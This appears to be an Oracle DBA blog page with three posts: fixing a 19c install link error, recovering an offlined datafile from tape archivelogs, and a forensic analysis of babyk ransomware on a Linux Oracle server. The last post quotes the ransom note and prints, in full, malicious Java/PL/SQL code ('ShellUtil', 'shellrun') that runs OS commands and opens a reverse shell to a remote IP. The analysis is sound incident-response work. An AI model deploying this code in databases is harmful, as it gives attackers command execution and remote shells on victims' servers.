Error in invoking target ‘libasmclntsh19.ohso libasmperl19.ohso client_sharedlib’问题处理

最近在redhat 8.x系列系统中安装Oracle 19c,编译的过程中出现类似:[FATAL] Error in invoking target ‘libasmclntsh19.ohso libasmperl19.ohso client_sharedlib’ of makefile ‘/u01/app/oracle/product/19c/db_1/rdbms/lib/ins_rdbms.mk’.错误

[oracle@xifenfei db_1]$ ./runInstaller -ignorePrereq -waitforcompletion -silent \
>   oracle.install.option=INSTALL_DB_SWONLY \
>   UNIX_GROUP_NAME=oinstall \
>   INVENTORY_LOCATION=${ORACLE_BASE}/oraInventory \
>   ORACLE_HOME=${ORACLE_HOME} \
>   ORACLE_BASE=${ORACLE_BASE} \
>   oracle.install.db.InstallEdition=EE \
>   oracle.install.db.OSDBA_GROUP=dba \
>   oracle.install.db.OSBACKUPDBA_GROUP=backupdba \
>   oracle.install.db.OSDGDBA_GROUP=dgdba \
>   oracle.install.db.OSKMDBA_GROUP=kmdba \
>   oracle.install.db.OSRACDBA_GROUP=dba \
>   SECURITY_UPDATES_VIA_MYORACLESUPPORT=false \
>   DECLINE_SECURITY_UPDATES=true
Launching Oracle Database Setup Wizard...

[WARNING] [INS-13014] Target environment does not meet some optional requirements.
   CAUSE: Some of the optional prerequisites are not met. See logs for details. 
/u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log
   ACTION: Identify the list of failed prerequisite checks from the log: 
/u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log. 
Then either from the log file or from installation manual 
find the appropriate configuration to meet the prerequisites and fix it manually.
The response file for this session can be found at:
 /u01/app/oracle/product/19c/db_1/install/response/db_2025-06-02_05-13-46PM.rsp

You can find the log of this install session at:
 /u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log
[FATAL] Error in invoking target 'libasmclntsh19.ohso libasmperl19.ohso client_sharedlib' of 
makefile '/u01/app/oracle/product/19c/db_1/rdbms/lib/ins_rdbms.mk'. See 
'/u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log' for details.

查看日志中具体信息

INFO:
/usr/bin/ld
INFO:
: cannot find -lclntsh

INFO:
make[2]: *** [/u01/app/oracle/product/19c/db_1/rdbms/lib/env_rdbms.mk:5232: dlopenlib] Error 1

INFO:
make[2]: Leaving directory '/u01/app/oracle/product/19c/db_1/rdbms/lib'

INFO:
make[1]: *** [/u01/app/oracle/product/19c/db_1/rdbms/lib/env_rdbms.mk:5210: 
 /u01/app/oracle/product/19c/db_1/lib/libasmperl19.so] Error 2

INFO:
make[1]: Leaving directory '/u01/app/oracle/product/19c/db_1/rdbms/lib'

INFO:
make: *** [/u01/app/oracle/product/19c/db_1/rdbms/lib/env_rdbms.mk:5247: libasmperl19.ohso] Error 2

INFO: End output from spawned process.
INFO: ----------------------------------
INFO: Exception thrown from action: make
Exception Name: MakefileException
Exception String: Error in invoking target 'libasmclntsh19.ohso libasmperl19.ohso client_sharedlib' of makefile 
'/u01/app/oracle/product/19c/db_1/rdbms/lib/ins_rdbms.mk'. See 
'/u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log' for details.
Exception Severity: 1
INFO:  [Jun 2, 2025 5:16:23 PM] Adding ExitStatus STOP_INSTALL to the exit status set
INFO:  [Jun 2, 2025 5:16:23 PM] Finding the most appropriate exit status for the current application
INFO:  [Jun 2, 2025 5:16:23 PM] inventory location is/u01/app/oraInventory
INFO:  [Jun 2, 2025 5:16:23 PM] Adding ExitStatus SUCCESS_WITH_WARNINGS to the exit status set
INFO:  [Jun 2, 2025 5:16:23 PM] Finding the most appropriate exit status for the current application
INFO:  [Jun 2, 2025 5:16:23 PM] Exit Status is -4
INFO:  [Jun 2, 2025 5:16:23 PM] Shutdown Oracle Database 19c Installer
INFO:  [Jun 2, 2025 5:16:23 PM] Unloading Setup Driver

提示缺少lclntsh,对应到数据中为libclntsh动态库文件,检查数据lib中相关文件

[oracle@xifenfei lib]$ ls -ltr libclntsh*
lrwxrwxrwx 1 oracle oinstall      12 Jun  2 16:06 libclntsh.so.11.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall      12 Jun  2 16:06 libclntsh.so.10.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall      12 Jun  2 16:06 libclntsh.so.12.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall      12 Jun  2 16:06 libclntsh.so.18.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall      17 Jun  2 16:06 libclntsh.so -> libclntsh.so.19.1
-rwxr-xr-x 1 oracle oinstall 8057080 Jun  2 16:11 libclntshcore.so.19.1
lrwxrwxrwx 1 oracle oinstall      21 Jun  2 16:11 libclntshcore.so -> libclntshcore.so.19.1

发现libclntsh.so.*.1都软连接到 libclntsh.so.19.1 而 libclntsh.so.19.1这个文件本身丢失,从安装介质中找到该文件并传输到lib中,修改权限

[oracle@xifenfei ~]$ cd $ORACLE_HOME/lib
[oracle@xifenfei lib]$ cp /tmp/libclntsh.so.19.1 ./
[oracle@xifenfei lib]$ chmod 777 libclntsh.so.19.1
[oracle@xifenfei lib]$ ls -ltr libclntsh*
lrwxrwxrwx 1 oracle oinstall       12 Jun  2 17:31 libclntsh.so.10.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall       12 Jun  2 17:31 libclntsh.so.11.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall       12 Jun  2 17:31 libclntsh.so.12.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall       12 Jun  2 17:31 libclntsh.so.18.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall       17 Jun  2 17:34 libclntsh.so -> libclntsh.so.19.1
lrwxrwxrwx 1 oracle oinstall       21 Jun  2 17:34 libclntshcore.so -> libclntshcore.so.19.1
-rwxr-xr-x 1 oracle oinstall 82573024 Jun  2 17:34 libclntsh.so.19.1
-rwxr-xr-x 1 oracle oinstall  8057080 Jun  2 17:34 libclntshcore.so.19.1

后续重新执行runInstaller相关命令安装正常,这个问题本质是由于libclntsh.so.19.1文件丢失导致,我查看了unzip解压日志,发现是解压出来了该文件的,具体什么原因丢失未知
233759


发表在 Oracle安装升级 | 标签为 , , , | 留下评论

ORA-01171: datafile N going offline due to error advancing checkpoint

最近接到一个客户有一个数据文件offline的恢复咨询,通过分析日志,当时是由于在启动的时候数据文件被占用导致后续数据库open之后,该文件被强制offline掉

Fri May 16 20:01:05 2025
Database mounted in Exclusive Mode
Completed: ALTER DATABASE   MOUNT
Fri May 16 20:01:05 2025
ALTER DATABASE OPEN
Fri May 16 20:01:06 2025
LGWR: STARTING ARCH PROCESSES
ARC0 started with pid=70, OS id=4628
Fri May 16 20:01:06 2025
ARC0: Archival started
ARC1 started with pid=74, OS id=4840
Fri May 16 20:01:06 2025
ARC1: Archival started
LGWR: STARTING ARCH PROCESSES COMPLETE
Fri May 16 20:01:06 2025
Errors in file d:\oracle\product\10.2.0\admin\orcl\bdump\orcl_lgwr_4080.trc:
ORA-01110: data file 14: 'D:\ORADATA\XIFENFEI105_DAT_1.DBF'
ORA-01114: IO error writing block to file 14 (block # 1)
ORA-27041: unable to open file
OSD-04002: 无法打开文件
O/S-Error: (OS 32) 另一个程序正在使用此文件,进程无法访问。

Thread 1 opened at log sequence 172421
  Current log# 1 seq# 172421 mem# 0: D:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO01.LOG
Fri May 16 20:01:06 2025
ARC1: STARTING ARCH PROCESSES
Fri May 16 20:01:06 2025
Successful open of redo thread 1
Fri May 16 20:01:06 2025
ARC0: Becoming the 'no FAL' ARCH
ARC0: Becoming the 'no SRL' ARCH
Fri May 16 20:01:06 2025
ARC2: Archival started
ARC1: STARTING ARCH PROCESSES COMPLETE
ARC2 started with pid=78, OS id=4056
Fri May 16 20:01:06 2025
ARC1: Becoming the heartbeat ARCH
Fri May 16 20:01:06 2025
MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set
Fri May 16 20:01:06 2025
SMON: enabling cache recovery
Fri May 16 20:01:07 2025
Successfully onlined Undo Tablespace 1.
Fri May 16 20:01:07 2025
SMON: enabling tx recovery
Fri May 16 20:01:08 2025
Database Characterset is ZHS16GBK
replication_dependency_tracking turned off (no async multimaster replication found)
Starting background process QMNC
QMNC started with pid=86, OS id=4492
Fri May 16 20:01:12 2025
db_recovery_file_dest_size of 51200 MB is 1.97% used. This is a
user-specified limit on the amount of space that will be used by this
database for recovery-related files, and does not reflect the amount of
space available in the underlying filesystem or ASM diskgroup.
Fri May 16 20:01:13 2025
Completed: ALTER DATABASE OPEN
Fri May 16 20:06:44 2025
Restarting dead background process MMON
MMON started with pid=98, OS id=4232
Fri May 16 20:07:06 2025
Shutting down archive processes
Fri May 16 20:07:11 2025
ARCH shutting down
ARC2: Archival stopped
Fri May 16 20:10:32 2025
Thread 1 advanced to log sequence 172422
  Current log# 2 seq# 172422 mem# 0: D:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO02.LOG
Fri May 16 20:15:33 2025
Errors in file d:\oracle\product\10.2.0\admin\orcl\bdump\orcl_ckpt_2496.trc:
ORA-01171: datafile 14 going offline due to error advancing checkpoint
ORA-01122: database file 14 failed verification check
ORA-01110: data file 14: 'D:\ORADATA\XIFENFEI105_DAT_1.DBF'
ORA-01208: data file is an old version - not accessing current version

Fri May 16 20:23:09 2025
Starting background process EMN0
EMN0 started with pid=82, OS id=2660

通过dbv检查报错文件,确认被offline文件本身正常
dbv


本身这个故障相对比较简单,只要归档存在直接recover datafile,然后online即可,但是由于备份软件定时工作,导致对应的归档被备份走

Fri May 16 21:55:10 2025
Control autobackup written to SBT_TAPE device
	comment 'API Version 2.0,MMS Version 10.0.0.116',
	media 'V_6746190_6959024'
	handle 'c-1300253653-20250516-00'
Fri May 16 21:56:03 2025
Thread 1 cannot allocate new log, sequence 172423
Private strand flush not complete
  Current log# 2 seq# 172422 mem# 0: D:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO02.LOG

而且被异常的数据文件不是核心业务文件,导致客户没有及时发现,等到发现之时尝试recover datafile,提示缺少归档

Wed May 28 17:26:01 2025
alter database recover datafile list clear
Wed May 28 17:26:01 2025
Completed: alter database recover datafile list clear
Wed May 28 17:26:01 2025
alter database recover if needed
 datafile 14

Media Recovery Start
 parallel recovery started with 16 processes
ORA-279 signalled during: alter database recover if needed
 datafile 14
...
Wed May 28 17:26:11 2025
alter database recover cancel
Wed May 28 17:26:13 2025
Media Recovery Canceled
Completed: alter database recover cancel
Wed May 28 17:38:58 2025
ALTER DATABASE RECOVER  datafile 'D:\ORADATA\XIFENFEI105_DAT_1.DBF'  
Wed May 28 17:38:58 2025
Media Recovery Start
 parallel recovery started with 16 processes
ORA-279 signalled during: ALTER DATABASE RECOVER  datafile 'D:\ORADATA\XIFENFEI105_DAT_1.DBF'  ...
Wed May 28 18:26:37 2025
ALTER DATABASE RECOVER    CONTINUE DEFAULT  
Wed May 28 18:26:38 2025
Media Recovery Log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC
Errors with log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC
ORA-308 signalled during: ALTER DATABASE RECOVER    CONTINUE DEFAULT  ...
Wed May 28 18:26:38 2025
ALTER DATABASE RECOVER    CONTINUE DEFAULT  
Wed May 28 18:26:38 2025
Media Recovery Log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC
Errors with log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC
ORA-308 signalled during: ALTER DATABASE RECOVER    CONTINUE DEFAULT  ...
Wed May 28 18:26:38 2025
ALTER DATABASE RECOVER CANCEL 
Wed May 28 18:26:40 2025
Media Recovery Canceled
Completed: ALTER DATABASE RECOVER CANCEL 

这个客户运气还不错,带库中的需要恢复的归档日志都还在,通过指定带库通道,直接recover datafile成功

RUN {
  ALLOCATE CHANNEL ch1 DEVICE TYPE 'sbt_tape' 
  PARMS="BLKSIZE=262144,ENV=(CV_mmsApiVsn=2,CV_channelPar=ch1)";
  ALLOCATE CHANNEL ch2 DEVICE TYPE 'sbt_tape' 
  PARMS="BLKSIZE=262144,ENV=(CV_mmsApiVsn=2,CV_channelPar=ch2)";
 recover datafile 14;
}

rec
ok


至此完美解决该问题,通过这个case,的出来的经验有:
1. 数据库重启之后,要检查数据库日志和查询数据库数据文件状态(主要防止一些不太常用的文件异常,不能及时发现)
2. 需要需要数据库的基本情况,比如备份,容灾,asm磁盘组冗余,存储冗余,网络冗余等情况,这样出现问题好排查解决

发表在 ORA-xxxxx | 标签为 , , | 留下评论

linux环境oracle数据库被文件系统勒索加密为.babyk扩展名溯源

最近有一个客户使用了xx厂商的erp软件的Oracle数据库服务被勒索加密(运行在linux平台)
文件加密结果
文件名称被加上.babyk,每个目录下面会留下一个README_babyk.txt文件
0


README_babyk.txt文件内容

                            ___                                                     
 ______  ______  ______   .'   `.                           ______  ______  ______  
|______||______||______| /  .-.  \  .--.   _ .--.   .--.   |______||______||______| 
 ______  ______  ______  | |   | |/ .'`\ \[ '/'`\ \( (`\]   ______  ______  ______  
|______||______||______| \  `-'  /| \__. | | \__/ | `'.'.  |______||______||______| 
                          `.___.'  '.__.'  | ;.__/ [\__) )                          
                                          [__|                                      

                                        
=========================================================
What Happened to My Computer?

Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. 
=========================================================

=========================================================
Can I Recover My Files?

Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don't pay in 7 days, you won't be able to recover your files forever.
=========================================================

=========================================================
How Do I Pay?

Your Encryption ID:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Payment is accepted in BTC only. If you don't know what's BTC, please Google for 
information on how to buy and pay for BTC.

Send $6000 worth of BTC to this address:

bc1q2p280472y0ssqcr6lhzz3qxxgevg3a63ewacl9

After the payment is completed, Please send your encryption ID and proof of payment to our email.
We will reply to the decryption program to your email address.
=========================================================

=========================================================
How to Contact Us?

aip6jmb@tuta.io
setack@tuta.io

=========================================================

*Warning: Don't try to decrypt by yourself, you may permanently damage your files. 

然后客户找人进行勒索解密,结果对于大于16G左右的文件解密失败.解密失败原因是由于较大文件加密算法问题,导致他们拿到了解密程序也无法解密,具体对于加密文件对比说明:
解密成功文件大小和文件尾部
4
3
解密失败文件大小和文件尾部
1
2


通过对比可以确认文件和占用空间一致,而且尾部没有多出来38byte的字符串的文件是属于解密失败(因为本身加密就不正常)

被勒索加密源头分析
通过解密成功的system01.dbf文件打开库,然后检查数据库中对象,发现一个异常的函数shellrun

create or replace function shellrun(methodName varchar2,
                                    params     varchar2,
                                    encoding   varchar2) return varchar2 as
  language java name 'ShellUtil.run(java.lang.String,java.lang.String,java.lang.String) return java.lang.String';

分析对应的java相关的ShellUtil,检查发现有以下部分
ShellUtil


进一步分析ShellUtil中内容

create or replace and compile java source named "ShellUtil" as
import java.io.*;
import java.net.Socket;
import java.util.concurrent.RecursiveTask;

public class ShellUtil extends Object{
    public static String run(String methodName, String params, String encoding) {
        String res = "";
        if (methodName.equals("exec")) {
            res = ShellUtil.exec(params, encoding);
        }else if (methodName.equals("connectback")) {
            String ip = params.substring(0, params.indexOf("^"));
            String port = params.substring(params.indexOf("^") + 1);
            res = ShellUtil.connectBack(ip, Integer.parseInt(port));
        }else {
            res = "unkown methodName";
        }
        return res;
    }

    public static String exec(String command, String encoding) {
        StringBuffer result = new StringBuffer();
        try {
            String[] finalCommand;
            if (System.getProperty("os.name").toLowerCase().contains("windows")) {
                String systemRootvariable;
                try {
                    systemRootvariable = System.getenv("SystemRoot");
                }
                catch (ClassCastException e) {
                    systemRootvariable = System.getProperty("SystemRoot");
                }
                finalCommand = new String[3];
                finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
                finalCommand[1] = "/c";
                finalCommand[2] = command;
            } else { // Linux or Unix System
                finalCommand = new String[3];
                finalCommand[0] = "/bin/sh";
                finalCommand[1] = "-c";
                finalCommand[2] = command;
            }
            BufferedReader readerIn = null;
            BufferedReader readerError = null;
            try {
                readerIn = new BufferedReader(new InputStreamReader
                    (Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
                String stemp = "";
                while ((stemp = readerIn.readLine()) != null){
                    result.append(stemp).append("\n");
                }
            }catch (Exception e){
                result.append(e.toString());
            }finally {
                if (readerIn != null) {
                    readerIn.close();
                }
            }
            try {
                readerError = new BufferedReader(new InputStreamReader
              (Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
                String stemp = "";
                while ((stemp = readerError.readLine()) != null){
                    result.append(stemp).append("\n");
                }
            }catch (Exception e){
                result.append(e.toString());
            }finally {
                if (readerError != null) {
                    readerError.close();
                }
            }
        } catch (Exception e) {
            result.append(e.toString());
        }
        return result.toString();
    }

    public static String connectBack(String ip, int port) {
        class StreamConnector extends Thread {
            InputStream sp;
            OutputStream gh;

            StreamConnector(InputStream sp, OutputStream gh) {
                this.sp = sp;
                this.gh = gh;
            }
            @Override
            public void run() {
                BufferedReader xp = null;
                BufferedWriter ydg = null;
                try {
                    xp = new BufferedReader(new InputStreamReader(this.sp));
                    ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
                    char buffer[] = new char[1024];
                    int length;
                    while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
                        ydg.write(buffer, 0, length);
                        ydg.flush();
                    }
                } catch (Exception e) {}
                try {
                    if (xp != null) {
                        xp.close();
                    }
                    if (ydg != null) {
                        ydg.close();
                    }
                } catch (Exception e) {
                }
            }
        }
        try {
            String sp;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
                sp = new String("/bin/sh");
            } else {
                sp = new String("cmd.exe");
            }
            Socket sk = new Socket(ip, port);
            Process ps = Runtime.getRuntime().exec(sp);
            (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
            (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
        } catch (Exception e) {
        }
        return "^OK^";
    }
}

这些程序的创建时间分析
time


这些程序都是4月24日14:58:40-14:58:50之间创建,通过咨询客户,客户的应用在4月24日上午进行了升级.基于上述情况,初步怀疑是通过应用给数据库层面注入了恶意脚本,创建了函数和一些java包,实现提权获取了操作系统权限,然后对操作系统文件进行加密.最终结论需要等应用和安全厂商进行确认

发表在 勒索恢复 | 标签为 , , , , | 留下评论